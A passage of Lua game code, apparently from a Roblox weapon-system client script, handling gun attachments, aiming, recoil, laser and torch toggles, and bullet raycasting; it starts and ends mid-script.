ModTable.gunRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilLeft = 1
ModTable.gunRecoilMod.RecoilRight = 1
ModTable.AimRM = 1
ModTable.SpreadRM = 1
ModTable.DamageMod = 1
ModTable.minDamageMod = 1
ModTable.MinRecoilPower = 1
ModTable.MaxRecoilPower = 1
ModTable.RecoilPowerStepAmount = 1
ModTable.MinSpread = 1
ModTable.MaxSpread = 1
ModTable.AimInaccuracyStepAmount = 1
ModTable.AimInaccuracyDecrease = 1
ModTable.WalkMult = 1
ModTable.MuzzleVelocity = 1
end
function setMods(ModData)
ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp
ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft
ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight
ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp
ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft
ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight
ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction
ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction
ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod
ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod
ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower
ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower
ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount
ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread
ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread
ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount
ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease
ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult
ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod
end
function loadAttachment(weapon)
if not weapon or not weapon:FindFirstChild("Nodes") then return; end;
--load sight Att
if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then
SightData = require(AttModules[WeaponData.SightAtt])
SightAtt = AttModels[WeaponData.SightAtt]:Clone()
SightAtt.Parent = weapon
SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame)
weapon.AimPart.CFrame = SightAtt.AimPos.CFrame
reticle = SightAtt.SightMark.SurfaceGui.Border.Scope
if SightData.SightZoom > 0 then
ModTable.ZoomValue = SightData.SightZoom
end
if SightData.SightZoom2 > 0 then
ModTable.Zoom2Value = SightData.SightZoom2
end
setMods(SightData)
for index, key in pairs(weapon:GetChildren()) do
if key.Name ~= "IS" then continue; end;
key.Transparency = 1
end
for index, key in pairs(SightAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Barrel Att
if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then
BarrelData = require(AttModules[WeaponData.BarrelAtt])
BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone()
BarrelAtt.Parent = weapon
BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame)
if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then
weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame
end
Suppressor = BarrelData.IsSuppressor
FlashHider = BarrelData.IsFlashHider
setMods(BarrelData)
for index, key in pairs(BarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Under Barrel Att
if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then
UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt])
UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone()
UnderBarrelAtt.Parent = weapon
UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame)
setMods(UnderBarrelData)
BipodAtt = UnderBarrelData.IsBipod
if BipodAtt then
CAS:BindAction("ToggleBipod", handleAction, true, Enum.KeyCode.B)
end
for index, key in pairs(UnderBarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then
OtherData = require(AttModules[WeaponData.OtherAtt])
OtherAtt = AttModels[WeaponData.OtherAtt]:Clone()
OtherAtt.Parent = weapon
OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame)
setMods(OtherData)
LaserAtt = OtherData.EnableLaser
TorchAtt = OtherData.EnableFlashlight
if OtherData.InfraRed then
IREnable = true
end
for index, key in pairs(OtherAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
end
function SetLaser()
if gameRules.RealisticLaser and IREnable then
if not LaserActive and not IRmode then
LaserActive = true
IRmode = true
elseif LaserActive and IRmode then
IRmode = false
else
LaserActive = false
IRmode = false
end
else
LaserActive = not LaserActive
end
WeaponInHand.Handle.Click:play()
UpdateGui()
if LaserActive then
if Pointer then return; end;
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
local LaserPointer = Instance.new('Part',Key)
LaserPointer.Shape = 'Ball'
LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2)
LaserPointer.CanCollide = false
LaserPointer.Color = Key.Color
LaserPointer.Material = Enum.Material.Neon
local LaserSP = Instance.new('Attachment',Key)
local LaserEP = Instance.new('Attachment',LaserPointer)
local Laser = Instance.new('Beam',LaserPointer)
Laser.Transparency = NumberSequence.new(0)
Laser.LightEmission = 1
Laser.LightInfluence = 1
Laser.Attachment0 = LaserSP
Laser.Attachment1 = LaserEP
Laser.Color = ColorSequence.new(Key.Color)
Laser.FaceCamera = true
Laser.Width0 = 0.01
Laser.Width1 = 0.01
if gameRules.RealisticLaser then
Laser.Enabled = false
end
Pointer = LaserPointer
break
end
else
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
Key:ClearAllChildren()
break
end
Pointer = nil
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
end
function SetTorch()
TorchActive = not TorchActive
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end;
Key.Light.Enabled = TorchActive
end
Evt.SVFlash:FireServer(WeaponTool,TorchActive)
WeaponInHand.Handle.Click:play()
UpdateGui()
end
function ADS(aimming)
if not WeaponData or not WeaponInHand then return; end;
if aimming then
if SafeMode then
SafeMode = false
GunStance = 0
IdleAnim()
UpdateGui()
end
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
WeaponInHand.Handle.AimDown:Play()
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
else
game:GetService('UserInputService').MouseDeltaSensitivity = 1
WeaponInHand.Handle.AimUp:Play()
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
end
end
function SetAimpart()
if aimming then
if AimPartMode == 1 then
AimPartMode = 2
if WeaponInHand:FindFirstChild('AimPart2') then
CurAimpart = WeaponInHand:FindFirstChild('AimPart2')
end
else
AimPartMode = 1
CurAimpart = WeaponInHand:FindFirstChild('AimPart')
end
--print("Set to Aimpart: "..AimPartMode)
end
end
function Firemode()
WeaponInHand.Handle.SafetyClick:Play()
mouse1down = false
---Semi Settings---
if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
---Burst Settings---
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then
WeaponData.ShootType = 1
---Auto Settings---
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then
WeaponData.ShootType = 1
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
---Explosive Settings---
end
UpdateGui()
end
function setup(Tool)
if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
local ToolCheck = Tool
local GunModelCheck = GunModels:FindFirstChild(Tool.Name)
if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end;
ToolEquip = true
User.MouseIconEnabled = false
plr.CameraMode = Enum.CameraMode.LockFirstPerson
WeaponTool = ToolCheck
WeaponData = require(Tool:FindFirstChild("ACS_Settings"))
AnimData = require(Tool:FindFirstChild("ACS_Animations"))
WeaponInHand = GunModelCheck:Clone()
WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle")
Evt.Equip:FireServer(Tool,1,WeaponData,AnimData)
ViewModel = ArmModel:WaitForChild("Arms"):Clone()
ViewModel.Name = "Viewmodel"
if char:WaitForChild("Body Colors") then
local Colors = char:WaitForChild("Body Colors"):Clone()
Colors.Parent = ViewModel
end
if char:FindFirstChild("Shirt") then
local Shirt = char:FindFirstChild("Shirt"):Clone()
Shirt.Parent = ViewModel
end
AnimPart = Instance.new("Part",ViewModel)
AnimPart.Size = Vector3.new(0.1,0.1,0.1)
AnimPart.Anchored = true
AnimPart.CanCollide = false
AnimPart.Transparency = 1
ViewModel.PrimaryPart = AnimPart
LArmWeld = Instance.new("Motor6D",AnimPart)
LArmWeld.Name = "LeftArm"
LArmWeld.Part0 = AnimPart
RArmWeld = Instance.new("Motor6D",AnimPart)
RArmWeld.Name = "RightArm"
RArmWeld.Part0 = AnimPart
GunWeld = Instance.new("Motor6D",AnimPart)
GunWeld.Name = "Handle"
--setup arms to camera
ViewModel.Parent = cam
maincf = AnimData.MainCFrame
guncf = AnimData.GunCFrame
larmcf = AnimData.LArmCFrame
rarmcf = AnimData.RArmCFrame
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
if WeaponData.Bullets > 1 then
Crosshair.Up.Rotation = 90
Crosshair.Down.Rotation = 90
Crosshair.Left.Rotation = 90
Crosshair.Right.Rotation = 90
else
Crosshair.Up.Rotation = 0
Crosshair.Down.Rotation = 0
Crosshair.Left.Rotation = 0
Crosshair.Right.Rotation = 0
end
else
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
LArm = ViewModel:WaitForChild("Left Arm")
LArmWeld.Part1 = LArm
LArmWeld.C0 = CFrame.new()
LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
RArm = ViewModel:WaitForChild("Right Arm")
RArmWeld.Part1 = RArm
RArmWeld.C0 = CFrame.new()
RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
GunWeld.Part0 = RArm
LArm.Anchored = false
RArm.Anchored = false
--setup weapon to camera
ModTable.ZoomValue = WeaponData.Zoom
ModTable.Zoom2Value = WeaponData.Zoom2
IREnable = WeaponData.InfraRed
CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2)
CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2)
CAS:BindAction("Reload", handleAction, true, Enum.KeyCode.R, Enum.KeyCode.ButtonB)
CAS:BindAction("CycleAimpart", handleAction, false, Enum.KeyCode.T)
CAS:BindAction("CycleLaser", handleAction, true, Enum.KeyCode.H)
CAS:BindAction("CycleLight", handleAction, true, Enum.KeyCode.J)
CAS:BindAction("CycleFiremode", handleAction, false, Enum.KeyCode.V)
CAS:BindAction("CheckMag", handleAction, false, Enum.KeyCode.M)
CAS:BindAction("ZeroDown", handleAction, false, Enum.KeyCode.LeftBracket)
CAS:BindAction("ZeroUp", handleAction, false, Enum.KeyCode.RightBracket)
loadAttachment(WeaponInHand)
BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread)
RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower)
Ammo = WeaponData.AmmoInGun
StoredAmmo = WeaponData.StoredAmmo
CurAimpart = WeaponInHand:FindFirstChild("AimPart")
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if Key:IsA("BasePart") and Key.Name == "FlashPoint" then
TorchAtt = true
end
if Key:IsA("BasePart") and Key.Name == "LaserPoint" then
LaserAtt = true
end
end
if WeaponData.EnableHUD then
SE_GUI.GunHUD.Visible = true
end
UpdateGui()
for index, key in pairs(WeaponInHand:GetChildren()) do
if key:IsA('BasePart') and key.Name ~= 'Handle' then
if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key)
end
if key.Name == "Bolt" or key.Name == "Slide" then
Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name)
end;
if key.Name == "Lid" then
if WeaponInHand:FindFirstChild('LidHinge') then
Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge"))
else
Ultil.Weld(key, WeaponInHand:WaitForChild("Handle"))
end
end
end
end;
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
if WeaponInHand:FindFirstChild("Nodes") then
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2)
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
end
GunWeld.Part1 = WeaponInHand:WaitForChild("Handle")
GunWeld.C1 = guncf
--WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * guncf)
WeaponInHand.Parent = ViewModel
if Ammo <= 0 and WeaponData.Type == "Gun" then
WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse()
end
EquipAnim()
if WeaponData and WeaponData.Type ~= "Grenade" then
RunCheck()
end
end
function unset()
ToolEquip = false
Evt.Equip:FireServer(WeaponTool,2)
--unsetup weapon data module
CAS:UnbindAction("Fire")
CAS:UnbindAction("ADS")
CAS:UnbindAction("Reload")
CAS:UnbindAction("CycleLaser")
CAS:UnbindAction("CycleLight")
CAS:UnbindAction("CycleFiremode")
CAS:UnbindAction("CycleAimpart")
CAS:UnbindAction("ZeroUp")
CAS:UnbindAction("ZeroDown")
CAS:UnbindAction("CheckMag")
mouse1down = false
aimming = false
TS:Create(cam,AimTween,{FieldOfView = 70}):Play()
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
User.MouseIconEnabled = true
game:GetService('UserInputService').MouseDeltaSensitivity = 1
cam.CameraType = Enum.CameraType.Custom
plr.CameraMode = Enum.CameraMode.Classic
if WeaponInHand then
WeaponData.AmmoInGun = Ammo
WeaponData.StoredAmmo = StoredAmmo
ViewModel:Destroy()
ViewModel = nil
WeaponInHand = nil
WeaponTool = nil
LArm = nil
RArm = nil
LArmWeld = nil
RArmWeld = nil
WeaponData = nil
AnimData = nil
SightAtt = nil
reticle = nil
BarrelAtt = nil
UnderBarrelAtt = nil
OtherAtt = nil
LaserAtt = false
LaserActive = false
IRmode = false
TorchAtt = false
TorchActive = false
BipodAtt = false
BipodActive = false
LaserDist = 0
Pointer = nil
BSpread = nil
RecoilPower = nil
Suppressor = false
FlashHider = false
CancelReload = false
reloading = false
SafeMode = false
CheckingMag = false
GRDebounce = false
CookGrenade = false
GunStance = 0
resetMods()
generateBullet = 1
AimPartMode = 1
SE_GUI.GunHUD.Visible = false
SE_GUI.GrenadeForce.Visible = false
BipodCF = CFrame.new()
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
end
local HalfStep = false
function HeadMovement()
if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end;
if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end;
local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector
if Neck then
HalfStep = not HalfStep
local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180))
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play()
if not HalfStep then return; end;
Evt.HeadRot:FireServer(neckCFrame)
end
end
function renderCam()
cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z)
end
function renderGunRecoil()
recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z)
end
function Recoil()
local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp
local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft
local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight
local hr = (math.random(-rr, lr)/2)
local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt
local RecoilX = math.rad(vr * RAND( 1, 1, .1))
local RecoilY = math.rad(hr * RAND(-1, 1, .1))
local RecoilZ = math.rad(tr * RAND(-1, 1, .1))
local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp
local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt
local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft
local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight
local ghr = (math.random(-grr, glr)/10)
local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM
if BipodActive then
cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 ))
if not aimming then
RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR ))
end
Thread:Wait(0.05)
cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0))
else
cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ ))
if not aimming then
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr)))
recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR ))
end
end
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid')
elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid')
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CastRay(Bullet, Origin)
if not Bullet then return; end;
local Bpos = Bullet.Position
local Bpos2 = cam.CFrame.Position
local recast = false
local TotalDistTraveled = 0
local Debounce = false
local raycastResult
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
while Bullet do
Run.Heartbeat:Wait()
if not Bullet.Parent then break; end;
Bpos = Bullet.Position
TotalDistTraveled = (Bullet.Position - Origin).Magnitude
if TotalDistTraveled > 7000 then
Bullet:Destroy()
Debounce = true
break
end
for _, plyr in pairs(game.Players:GetPlayers()) do
if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end;
Evt.Whizz:FireServer(plyr)
Evt.Suppression:FireServer(plyr,1,nil,nil)
Debounce = true
end
-- Set an origin and directional vector
raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams)
recast = false
if raycastResult then
local Hit2 = raycastResult.Instance
if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then
for _,players in pairs(game.Players:GetPlayers()) do
if players.Character then
for i, hats in pairs(players.Character:GetChildren()) do
if hats:IsA("Accessory") then
table.insert(Ignore_Model, hats)
end
end
end
end
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if not recast then
Bullet:Destroy()
Debounce = true
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
TotalDistTraveled = (raycastResult.Position - Origin).Magnitude
